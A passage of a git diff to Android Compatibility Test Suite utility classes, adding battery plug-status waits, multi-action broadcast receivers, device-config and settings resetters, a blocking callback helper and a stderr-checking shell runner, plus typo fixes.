+                    Log.i(LOG_TAG, "    reason: " + reason.reason + " {");
+                    Log.i(LOG_TAG, "      override: " + reason.override);
+                    Log.i(LOG_TAG, "      fixed: " + reason.fixed);
+
+                    Log.i(LOG_TAG, "      permissions: [");
+                    for (String permission : reasonEntry.getValue()) {
+                        Log.i(LOG_TAG, "        " + permission + ",");
+                    }
+                    Log.i(LOG_TAG, "      ]");
+                    Log.i(LOG_TAG, "    }");
+
+                    // Do not overwhelm log
+                    try {
+                        Thread.sleep(50);
+                    } catch (InterruptedException e) {
+                        // ignored
+                    }
+                }
+
+                Log.i(LOG_TAG, "  }");
+            }
+        }
+
+        public void addGrantedPermission(String packageName, String reason, String permission,
+                Boolean fixed) {
+            Context context = getInstrumentation().getTargetContext();
+
+            // Add permissions split off from the permission to granted
+            try {
+                PackageInfo info = context.getPackageManager().getPackageInfo(packageName, 0);
+                int targetSdk = info.applicationInfo.targetSdkVersion;
+
+                for (String extendedPerm : extendBySplitPermissions(permission, targetSdk)) {
+                    mergeGrantedPermission(packageName, extendedPerm.equals(permission) ? reason
+                                    : reason + " (split from " + permission + ")", extendedPerm,
+                            fixed, false);
+                }
+            } catch (PackageManager.NameNotFoundException e) {
+                // ignore
+            }
+        }
+
+        public void overrideGrantedPermission(String packageName, String reason, String permission,
+                Boolean fixed) {
+            mergeGrantedPermission(packageName, reason, permission, fixed, true);
+        }
+
+        public void mergeGrantedPermission(String packageName, String reason, String permission,
+                Boolean fixed, boolean override) {
+            if (!mGrantReasons.containsKey(packageName)) {
+                mGrantReasons.put(packageName, new ArrayMap<>());
+            }
+
+            if (!mGrantReasons.get(packageName).containsKey(permission)) {
+                mGrantReasons.get(packageName).put(permission, new ArraySet<>());
+            }
+
+            mGrantReasons.get(packageName).get(permission).add(new GrantReason(reason, override,
+                    fixed));
+
+            Boolean oldFixed = grantedPermissions.get(permission);
+            if (oldFixed == null) {
+                grantedPermissions.put(permission, fixed);
+            } else {
+                if (override) {
+                    if (oldFixed == Boolean.FALSE && fixed == Boolean.TRUE) {
+                        Log.w(LOG_TAG, "override already granted permission " + permission + "("
+                                + fixed + ") for " + packageName);
+                        grantedPermissions.put(permission, fixed);
+                    }
+                } else {
+                    if (oldFixed == Boolean.TRUE && fixed == Boolean.FALSE) {
+                        Log.w(LOG_TAG, "add already granted permission " + permission + "("
+                                + fixed + ") to " + packageName);
+                        grantedPermissions.put(permission, fixed);
+                    }
+                }
+            }
+        }
+    }
+
+    public static class DefaultPermissionGrantException {
+
+        public static final String UNSET_PLACEHOLDER = "(UNSET)";
+        public String company;
+        public String metadata;
+        public String pkg;
+        public String sha256;
+        public boolean hasBrand; // in rare cases, brand will be specified instead of SHA256 hash
+        public Map<String, Boolean> permissions = new HashMap<>();
+
+        public boolean hasNonBrandSha256() {
+            return sha256 != null && !hasBrand;
+        }
+
+        public DefaultPermissionGrantException(String pkg, String sha256,
+                Map<String, Boolean> permissions) {
+            this(UNSET_PLACEHOLDER, UNSET_PLACEHOLDER, pkg, sha256, permissions);
+        }
+
+        public DefaultPermissionGrantException(String company, String metadata, String pkg,
+                String sha256,
+                Map<String, Boolean> permissions) {
+            this.company = company;
+            this.metadata = metadata;
+            this.pkg = pkg;
+            this.sha256 = sha256;
+            if (!sha256.contains(":")) {
+                hasBrand = true; // rough approximation of brand vs. SHA256 hash
+            }
+            this.permissions = permissions;
+        }
+    }
+
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/BatteryUtils.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/BatteryUtils.java
index 7d8feae..29268e5 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/BatteryUtils.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/BatteryUtils.java
@@ -44,10 +44,18 @@
         return InstrumentationRegistry.getContext().getSystemService(PowerManager.class);
     }
 
+    public static boolean hasBattery() {
+        final Intent batteryInfo = InstrumentationRegistry.getContext()
+                .registerReceiver(null, new IntentFilter(Intent.ACTION_BATTERY_CHANGED));
+        return batteryInfo.getBooleanExtra(BatteryManager.EXTRA_PRESENT, true);
+    }
+
     /** Make the target device think it's off charger. */
-    public static void runDumpsysBatteryUnplug() {
+    public static void runDumpsysBatteryUnplug() throws Exception {
         SystemUtil.runShellCommandForNoOutput("cmd battery unplug");
 
+        waitForPlugStatus(false);
+
         Log.d(TAG, "Battery UNPLUGGED");
     }
 
@@ -66,10 +74,29 @@
     public static void runDumpsysBatterySetPluggedIn(boolean pluggedIn) throws Exception {
         SystemUtil.runShellCommandForNoOutput(("cmd battery set ac " + (pluggedIn ? "1" : "0")));
 
+        waitForPlugStatus(pluggedIn);
+
         Log.d(TAG, "Battery AC set to " + pluggedIn);
     }
 
-    /** Reset the effect of all the previous {@code runDumpsysBattery*} call  */
+    private static void waitForPlugStatus(boolean pluggedIn) throws Exception {
+        if (InstrumentationRegistry.getContext().getPackageManager().isInstantApp()) {
+            // Instant apps are not allowed to query ACTION_BATTERY_CHANGED. Add short sleep as
+            // best-effort wait for status.
+            Thread.sleep(2000);
+            return;
+        }
+        IntentFilter ifilter = new IntentFilter(Intent.ACTION_BATTERY_CHANGED);
+        waitUntil("Device still " + (pluggedIn ? " not plugged" : " plugged"),
+                () -> {
+                    Intent batteryStatus =
+                            InstrumentationRegistry.getContext().registerReceiver(null, ifilter);
+                    int chargePlug = batteryStatus.getIntExtra(BatteryManager.EXTRA_PLUGGED, -1);
+                    return pluggedIn == (chargePlug != 0);
+                });
+    }
+
+    /** Reset the effect of all the previous {@code runDumpsysBattery*} call */
     public static void runDumpsysBatteryReset() {
         SystemUtil.runShellCommandForNoOutput(("cmd battery reset"));
 
@@ -83,15 +110,6 @@
     }
 
     /**
-     * Turn off the Battery saver manually.
-     */
-    public static void runDumpsysBatterySaverOff() {
-        if (isBatterySaverSupported() && getPowerManager().isPowerSaveMode()) {
-            SystemUtil.runShellCommandForNoOutput("cmd power set-mode 0");
-        }
-    }
-
-    /**
      * Enable / disable battery saver. Note {@link #runDumpsysBatteryUnplug} must have been
      * executed before enabling BS.
      */
@@ -100,28 +118,11 @@
             SystemUtil.runShellCommandForNoOutput("cmd power set-mode 1");
             putGlobalSetting(Global.LOW_POWER_MODE, "1");
             waitUntil("Battery saver still off", () -> getPowerManager().isPowerSaveMode());
-            waitUntil("Location mode still " + getPowerManager().getLocationPowerSaveMode(),
-                    () -> (PowerManager.LOCATION_MODE_NO_CHANGE
-                            != getPowerManager().getLocationPowerSaveMode()));
-
-            Thread.sleep(500);
-            waitUntil("Force all apps standby still off",
-                    () -> SystemUtil.runShellCommand("dumpsys alarm")
-                            .contains(" Force all apps standby: true\n"));
-
         } else {
             SystemUtil.runShellCommandForNoOutput("cmd power set-mode 0");
             putGlobalSetting(Global.LOW_POWER_MODE, "0");
             putGlobalSetting(Global.LOW_POWER_MODE_STICKY, "0");
             waitUntil("Battery saver still on", () -> !getPowerManager().isPowerSaveMode());
-            waitUntil("Location mode still " + getPowerManager().getLocationPowerSaveMode(),
-                    () -> (PowerManager.LOCATION_MODE_NO_CHANGE
-                            == getPowerManager().getLocationPowerSaveMode()));
-
-            Thread.sleep(500);
-            waitUntil("Force all apps standby still on",
-                    () -> SystemUtil.runShellCommand("dumpsys alarm")
-                            .contains(" Force all apps standby: false\n"));
         }
 
         AmUtils.waitForBroadcastIdle();
@@ -146,10 +147,8 @@
 
     /** @return true if the device supports battery saver. */
     public static boolean isBatterySaverSupported() {
-        final Intent batteryInfo = InstrumentationRegistry.getContext().registerReceiver(
-                null, new IntentFilter(Intent.ACTION_BATTERY_CHANGED));
-        if (!batteryInfo.getBooleanExtra(BatteryManager.EXTRA_PRESENT, true)) {
-            // Devices without battery does not support battery saver.
+        if (!hasBattery()) {
+            // Devices without a battery don't support battery saver.
             return false;
         }
 
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/BlockingBroadcastReceiver.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/BlockingBroadcastReceiver.java
index a5791a2f..4a9bae8 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/BlockingBroadcastReceiver.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/BlockingBroadcastReceiver.java
@@ -22,6 +22,8 @@
 import androidx.annotation.Nullable;
 import android.util.Log;
 
+import java.util.ArrayList;
+import java.util.List;
 import java.util.concurrent.ArrayBlockingQueue;
 import java.util.concurrent.BlockingQueue;
 import java.util.concurrent.TimeUnit;
@@ -46,24 +48,30 @@
     private static final int DEFAULT_TIMEOUT_SECONDS = 60;
 
     private final BlockingQueue<Intent> mBlockingQueue;
-    private final String mExpectedAction;
+    private final List<String> mExpectedActions;
     private final Context mContext;
 
     public BlockingBroadcastReceiver(Context context, String expectedAction) {
+        this(context, List.of(expectedAction));
+    }
+
+    public BlockingBroadcastReceiver(Context context, List<String> expectedActions) {
         mContext = context;
-        mExpectedAction = expectedAction;
+        mExpectedActions = expectedActions;
         mBlockingQueue = new ArrayBlockingQueue<>(1);
     }
 
     @Override
     public void onReceive(Context context, Intent intent) {
-        if (mExpectedAction.equals(intent.getAction())) {
+        if (mExpectedActions.contains(intent.getAction())) {
             mBlockingQueue.add(intent);
         }
     }
 
     public void register() {
-        mContext.registerReceiver(this, new IntentFilter(mExpectedAction));
+        for (String expectedAction : mExpectedActions) {
+            mContext.registerReceiver(this, new IntentFilter(expectedAction));
+        }
     }
 
     /**
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/BlockingCallback.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/BlockingCallback.java
new file mode 100644
index 0000000..38fcee7
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/BlockingCallback.java
@@ -0,0 +1,74 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import static junit.framework.TestCase.fail;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Subclass this to create a blocking version of a callback. For example:
+ *
+ * {@code
+ *     private static class KeyChainAliasCallback extends BlockingCallback<String> implements
+ *             android.security.KeyChainAliasCallback {
+ *         @Override
+ *         public void alias(final String chosenAlias) {
+ *             callbackTriggered(chosenAlias);
+ *         }
+ *     }
+ * }
+ *
+ * <p>an instance of KeyChainAliasCallback can then be passed into a method, and the result can
+ * be fetched using {@code .await()};
+ */
+public abstract class BlockingCallback<E> {
+    private static final int DEFAULT_TIMEOUT_SECONDS = 120;
+
+    private final CountDownLatch mLatch = new CountDownLatch(1);
+    private E mValue = null;
+
+    /** Call this method from the callback method to mark the response as received. */
+    protected void callbackTriggered(E value) {
+        mValue = value;
+        mLatch.countDown();
+    }
+
+    /**
+     * Fetch the value passed into the callback.
+     *
+     * <p>Throws an {@link AssertionError} if the callback is not triggered in
+     * {@link #DEFAULT_TIMEOUT_SECONDS} seconds.
+     */
+    public E await() throws InterruptedException {
+        return await(DEFAULT_TIMEOUT_SECONDS, TimeUnit.SECONDS);
+    }
+
+    /**
+     * Fetch the value passed into the callback.
+     *
+     * <p>Throws an {@link AssertionError} if the callback is not triggered before the timeout
+     * elapses.
+     */
+    public E await(long timeout, TimeUnit unit) throws InterruptedException {
+        if (!mLatch.await(timeout, unit)) {
+            fail("Callback was not received");
+        }
+        return mValue;
+    }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/BusinessLogicTestCase.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/BusinessLogicTestCase.java
index 6e71e10..f4f7a33 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/BusinessLogicTestCase.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/BusinessLogicTestCase.java
@@ -62,10 +62,10 @@
     }
 
     protected void executeBusinessLogic() {
-        executeBusinessLogifForTest(mTestCase.getMethodName());
+        executeBusinessLogicForTest(mTestCase.getMethodName());
     }
 
-    protected void executeBusinessLogifForTest(String methodName) {
+    protected void executeBusinessLogicForTest(String methodName) {
         assertTrue(String.format("Test \"%s\" is unable to execute as it depends on the missing "
                 + "remote configuration.", methodName), mCanReadBusinessLogic);
         if (methodName.contains(PARAM_START)) {
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/CtsTouchUtils.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/CtsTouchUtils.java
index 0634a4b..38c0c2a 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/CtsTouchUtils.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/CtsTouchUtils.java
@@ -27,6 +27,7 @@
 import android.view.ViewConfiguration;
 import android.view.ViewGroup;
 
+import androidx.annotation.Nullable;
 import androidx.test.rule.ActivityTestRule;
 
 /**
@@ -182,11 +183,23 @@
                 dragDurationMs, moveEventCount, null);
     }
 
-    private static void emulateDragGesture(Instrumentation instrumentation,
+    /**
+     * Emulates a linear drag gesture between 2 points across the screen.
+     *
+     * @param instrumentation the instrumentation used to run the test
+     * @param dragStartX Start X of the emulated drag gesture
+     * @param dragStartY Start Y of the emulated drag gesture
+     * @param dragAmountX X amount of the emulated drag gesture
+     * @param dragAmountY Y amount of the emulated drag gesture
+     * @param dragDurationMs The time in milliseconds over which the drag occurs
+     * @param moveEventCount The number of events that produce the movement
+     * @param eventInjectionListener Called after each down, move, and up events.
+     */
+    public static void emulateDragGesture(Instrumentation instrumentation,
             ActivityTestRule<?> activityTestRule,
             int dragStartX, int dragStartY, int dragAmountX, int dragAmountY,
             int dragDurationMs, int moveEventCount,
-            EventInjectionListener eventInjectionListener) {
+            @Nullable EventInjectionListener eventInjectionListener) {
         // We are using the UiAutomation object to inject events so that drag works
         // across view / window boundaries (such as for the emulated drag and drop
         // sequences)
@@ -271,8 +284,18 @@
         }
     }
 
-    private static long injectDownEvent(UiAutomation uiAutomation, long downTime, int xOnScreen,
-            int yOnScreen, EventInjectionListener eventInjectionListener) {
+    /**
+     * Injects an {@link MotionEvent#ACTION_DOWN} event at the given coordinates.
+     *
+     * @param downTime The time of the event, usually from {@link SystemClock#uptimeMillis()}
+     * @param xOnScreen The x screen coordinate to press on
+     * @param yOnScreen The y screen coordinate to press on
+     * @param eventInjectionListener The listener to call back immediately after the down was
+     *                               sent.
+     * @return <code>downTime</code>
+     */
+    public static long injectDownEvent(UiAutomation uiAutomation, long downTime, int xOnScreen,
+            int yOnScreen, @Nullable EventInjectionListener eventInjectionListener) {
         MotionEvent eventDown = MotionEvent.obtain(
                 downTime, downTime, MotionEvent.ACTION_DOWN, xOnScreen, yOnScreen, 1);
         eventDown.setSource(InputDevice.SOURCE_TOUCHSCREEN);
@@ -367,7 +390,18 @@
         }
     }
 
-    private static void injectUpEvent(UiAutomation uiAutomation, long downTime,
+    /**
+     * Injects an {@link MotionEvent#ACTION_UP} event at the given coordinates.
+     *
+     * @param downTime The time of the event, usually from {@link SystemClock#uptimeMillis()}
+     * @param useCurrentEventTime <code>true</code> if it should use the current time for the
+     *                            up event or <code>false</code> to use <code>downTime</code>.
+     * @param xOnScreen The x screen coordinate to press on
+     * @param yOnScreen The y screen coordinate to press on
+     * @param eventInjectionListener The listener to call back immediately after the up was
+     *                               sent.
+     */
+    public static void injectUpEvent(UiAutomation uiAutomation, long downTime,
             boolean useCurrentEventTime, int xOnScreen, int yOnScreen,
             EventInjectionListener eventInjectionListener) {
         long eventTime = useCurrentEventTime ? SystemClock.uptimeMillis() : downTime;
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/DeviceConfigStateChangerRule.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/DeviceConfigStateChangerRule.java
index a13da52..06289cf 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/DeviceConfigStateChangerRule.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/DeviceConfigStateChangerRule.java
@@ -34,7 +34,7 @@
      *
      * @param context context used to retrieve the {@link DeviceConfig} provider.
      * @param namespace {@code DeviceConfig} namespace.
-     * @param key prefence key.
+     * @param key preference key.
      * @param value value to be set before the test is run.
      */
     public DeviceConfigStateChangerRule(@NonNull Context context, @NonNull String namespace,
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/DeviceConfigStateHelper.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/DeviceConfigStateHelper.java
new file mode 100644
index 0000000..202025a
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/DeviceConfigStateHelper.java
@@ -0,0 +1,91 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import static org.junit.Assert.assertTrue;
+
+import android.provider.DeviceConfig;
+import android.util.ArrayMap;
+
+import androidx.annotation.GuardedBy;
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+
+import java.util.Objects;
+
+/**
+ * Helper to automatically save multiple existing DeviceConfig values, change them during tests, and
+ * restore the original values after the test.
+ */
+public class DeviceConfigStateHelper implements AutoCloseable {
+    private final String mNamespace;
+    @GuardedBy("mOriginalValues")
+    private final ArrayMap<String, String> mOriginalValues = new ArrayMap<>();
+
+    /**
+     * @param namespace DeviceConfig namespace.
+     */
+    public DeviceConfigStateHelper(@NonNull String namespace) {
+        mNamespace = Objects.requireNonNull(namespace);
+    }
+
+    private void maybeCacheOriginalValueLocked(String key) {
+        if (!mOriginalValues.containsKey(key)) {
+            // Only save the current value if we haven't changed it.
+            final String ogValue = SystemUtil.runWithShellPermissionIdentity(
+                    () -> DeviceConfig.getProperty(mNamespace, key));
+            mOriginalValues.put(key, ogValue);
+        }
+    }
+
+    public void set(@NonNull String key, @Nullable String value) {
+        synchronized (mOriginalValues) {
+            maybeCacheOriginalValueLocked(key);
+        }
+        SystemUtil.runWithShellPermissionIdentity(
+                () -> assertTrue(
+                        DeviceConfig.setProperty(mNamespace, key, value, /* makeDefault */false)));
+    }
+
+    public void set(@NonNull DeviceConfig.Properties properties) {
+        synchronized (mOriginalValues) {
+            for (String key : properties.getKeyset()) {
+                maybeCacheOriginalValueLocked(key);
+            }
+        }
+        SystemUtil.runWithShellPermissionIdentity(
+                () -> assertTrue(DeviceConfig.setProperties(properties)));
+    }
+
+    public void restoreOriginalValues() {
+        final DeviceConfig.Properties.Builder builder =
+                new DeviceConfig.Properties.Builder(mNamespace);
+        synchronized (mOriginalValues) {
+            for (int i = 0; i < mOriginalValues.size(); ++i) {
+                builder.setString(mOriginalValues.keyAt(i), mOriginalValues.valueAt(i));
+            }
+            mOriginalValues.clear();
+        }
+        SystemUtil.runWithShellPermissionIdentity(
+                () -> DeviceConfig.setProperties(builder.build()));
+    }
+
+    @Override
+    public void close() throws Exception {
+        restoreOriginalValues();
+    }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/DeviceConfigStateKeeperRule.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/DeviceConfigStateKeeperRule.java
index 6f186de..8858970 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/DeviceConfigStateKeeperRule.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/DeviceConfigStateKeeperRule.java
@@ -32,7 +32,7 @@
      *
      * @param context context used to retrieve the {@link DeviceConfig} provider.
      * @param namespace {@code DeviceConfig} namespace.
-     * @param key prefence key.
+     * @param key preference key.
      */
     public DeviceConfigStateKeeperRule(@NonNull Context context, @NonNull String namespace,
             @NonNull String key) {
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/DeviceConfigStateManager.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/DeviceConfigStateManager.java
index 6875ae1..859290e 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/DeviceConfigStateManager.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/DeviceConfigStateManager.java
@@ -45,7 +45,7 @@
      *
      * @param context context used to retrieve the {@link Settings} provider.
      * @param namespace settings namespace.
-     * @param key prefence key.
+     * @param key preference key.
      */
     public DeviceConfigStateManager(@NonNull Context context, @NonNull String namespace,
             @NonNull String key) {
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/ImeAwareEditText.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/ImeAwareEditText.java
index db148bf..f28d085 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/ImeAwareEditText.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/ImeAwareEditText.java
@@ -76,7 +76,7 @@
 
     public void scheduleShowSoftInput() {
         final InputMethodManager imm = getContext().getSystemService(InputMethodManager.class);
-        if (imm.isActive(this)) {
+        if (imm.hasActiveInputConnection(this)) {
             // This means that ImeAwareEditText is already connected to the IME.
             // InputMethodManager#showSoftInput() is guaranteed to pass client-side focus check.
             mHasPendingShowSoftInputRequest = false;
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/MatcherUtils.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/MatcherUtils.java
index 502b67b..b5a78a9 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/MatcherUtils.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/MatcherUtils.java
@@ -95,14 +95,22 @@
     }
 
     /**
-     * {@link AccessibilityNodeInfo} matcher based on whether its {@link Throwable::getText text} is
-     * matching {@code condition}.
+     * {@link AccessibilityNodeInfo} matcher based on whether its
+     * {@link AccessibilityNodeInfo::getText text} is matching {@code condition}.
      */
     public static Matcher<AccessibilityNodeInfo> hasTextThat(Matcher<? super String> condition) {
         return propertyMatches("text", AccessibilityNodeInfo::getText, condition);
     }
 
     /**
+     * {@link AccessibilityNodeInfo} matcher based on whether its
+     * {@link AccessibilityNodeInfo::getViewIdResourceName view id} is matching {@code condition}.
+     */
+    public static Matcher<AccessibilityNodeInfo> hasIdThat(Matcher<? super String> condition) {
+        return propertyMatches("id", AccessibilityNodeInfo::getViewIdResourceName, condition);
+    }
+
+    /**
      * Runs {@code action}, and asserts that it throws an exception matching {@code exceptionCond}.
      */
     public static void assertThrows(
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/OWNERS b/common/device-side/util-axt/src/com/android/compatibility/common/util/OWNERS
new file mode 100644
index 0000000..b06092c
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/OWNERS
@@ -0,0 +1 @@
+per-file BaseDefaultPermissionGrantPolicyTest.java = eugenesusla@google.com, moltmann@google.com, svetoslavganov@google.com
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/ScreenUtils.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/ScreenUtils.java
new file mode 100644
index 0000000..86b16cb
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/ScreenUtils.java
@@ -0,0 +1,47 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+public class ScreenUtils {
+
+    public static void setScreenOn(boolean on) throws Exception {
+        BatteryUtils.turnOnScreen(on);
+
+        // there is no way to listen for changes except broadcasts, and no way to guarantee
+        // broadcast reception except waiting and crossing fingers. 2s should be enough in the idle
+        // case, but may not be enough if the phone isn't idle
+        Thread.sleep(2000);
+    }
+
+    /**
+     * Try-with-resources class that resets the screen state on close to whatever the screen state
+     * was on acquire.
+     */
+    public static class ScreenResetter implements AutoCloseable {
+
+        private final boolean mScreenInteractive;
+
+        public ScreenResetter() {
+            mScreenInteractive = BatteryUtils.getPowerManager().isInteractive();
+        }
+
+        @Override
+        public void close() throws Exception {
+            BatteryUtils.turnOnScreen(mScreenInteractive);
+        }
+    }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/SettingsUtils.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/SettingsUtils.java
index 03d4a50..58447e3 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/SettingsUtils.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/SettingsUtils.java
@@ -205,4 +205,26 @@
         return SystemUtil.runShellCommand(
                 String.format("settings --user %d get secure %s", userId, key)).trim();
     }
+
+    public static class SettingResetter implements AutoCloseable {
+        private final String mNamespace;
+        private final String mKey;
+        private final String mOldValue;
+
+        public SettingResetter(String namespace, String key, String value) {
+            mNamespace = namespace;
+            mKey = key;
+            mOldValue = get(namespace, key);
+            set(namespace, key, value);
+        }
+
+        @Override
+        public void close() {
+            if (mOldValue != null) {
+                set(mNamespace, mKey, mOldValue);
+            } else {
+                delete(mNamespace, mKey);
+            }
+        }
+    }
 }
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/StateChangerRule.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/StateChangerRule.java
index 3a0ceb0..92787c5 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/StateChangerRule.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/StateChangerRule.java
@@ -65,7 +65,7 @@
                     final T currentValue = mStateManager.get();
                     if (!Objects.equals(currentValue, previousValue)) {
                         mStateManager.set(previousValue);
-                        // TODO: if set() thowns a RuntimeException, JUnit will silently catch it
+                        // TODO: if set() throws a RuntimeException, JUnit will silently catch it
                         // and re-run the test case; it should fail instead.
                     }
                 }
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/SystemUtil.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/SystemUtil.java
index a050094..8dc2b9b 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/SystemUtil.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/SystemUtil.java
@@ -35,6 +35,7 @@
 import java.io.FileInputStream;
 import java.io.IOException;
 import java.util.concurrent.Callable;
+import java.util.concurrent.TimeoutException;
 import java.util.concurrent.atomic.AtomicReference;
 import java.util.function.Predicate;
 
@@ -99,15 +100,19 @@
      */
     static byte[] runShellCommandByteOutput(UiAutomation automation, String cmd)
             throws IOException {
+        checkCommandBeforeRunning(cmd);
+        ParcelFileDescriptor pfd = automation.executeShellCommand(cmd);
+        try (FileInputStream fis = new ParcelFileDescriptor.AutoCloseInputStream(pfd)) {
+            return FileUtils.readInputStreamFully(fis);
+        }
+    }
+
+    private static void checkCommandBeforeRunning(String cmd) {
         Log.v(TAG, "Running command: " + cmd);
         if (cmd.startsWith("pm grant ") || cmd.startsWith("pm revoke ")) {
             throw new UnsupportedOperationException("Use UiAutomation.grantRuntimePermission() "
                     + "or revokeRuntimePermission() directly, which are more robust.");
         }
-        ParcelFileDescriptor pfd = automation.executeShellCommand(cmd);
-        try (FileInputStream fis = new ParcelFileDescriptor.AutoCloseInputStream(pfd)) {
-            return FileUtils.readInputStreamFully(fis);
-        }
     }
 
     /**
@@ -123,6 +128,48 @@
     }
 
     /**
+     * Like {@link #runShellCommand(String)} but throws if anything was printed to stderr.
+     */
+    public static String runShellCommandOrThrow(String cmd) {
+        UiAutomation automation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        try {
+            checkCommandBeforeRunning(cmd);
+
+            ParcelFileDescriptor[] fds = automation.executeShellCommandRwe(cmd);
+            ParcelFileDescriptor fdOut = fds[0];
+            ParcelFileDescriptor fdIn = fds[1];
+            ParcelFileDescriptor fdErr = fds[2];
+
+            if (fdIn != null) {
+                try {
+                    // not using stdin
+                    fdIn.close();
+                } catch (Exception e) {
+                    // Ignore
+                }
+            }
+
+            String out;
+            String err;
+            try (FileInputStream fis = new ParcelFileDescriptor.AutoCloseInputStream(fdOut)) {
+                out = new String(FileUtils.readInputStreamFully(fis));
+            }
+            try (FileInputStream fis = new ParcelFileDescriptor.AutoCloseInputStream(fdErr)) {
+                err = new String(FileUtils.readInputStreamFully(fis));
+            }
+            if (!err.isEmpty()) {
+                fail("Command failed:\n$ " + cmd +
+                        "\n\nstderr:\n" + err +
+                        "\n\nstdout:\n" + out);
+            }
+            return out;
+        } catch (IOException e) {
+            fail("Failed reading command output: " + e);
+            return "";
+        }
+    }
+
+    /**
      * Same as {@link #runShellCommand(String)}, with optionally
      * check the result using {@code resultChecker}.
      */
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/WifiConfigCreator.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/WifiConfigCreator.java
index f50107a..6e35fe8 100755
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/WifiConfigCreator.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/WifiConfigCreator.java
@@ -62,9 +62,12 @@
     private final WifiManager mWifiManager;
 
     public WifiConfigCreator(Context context) {
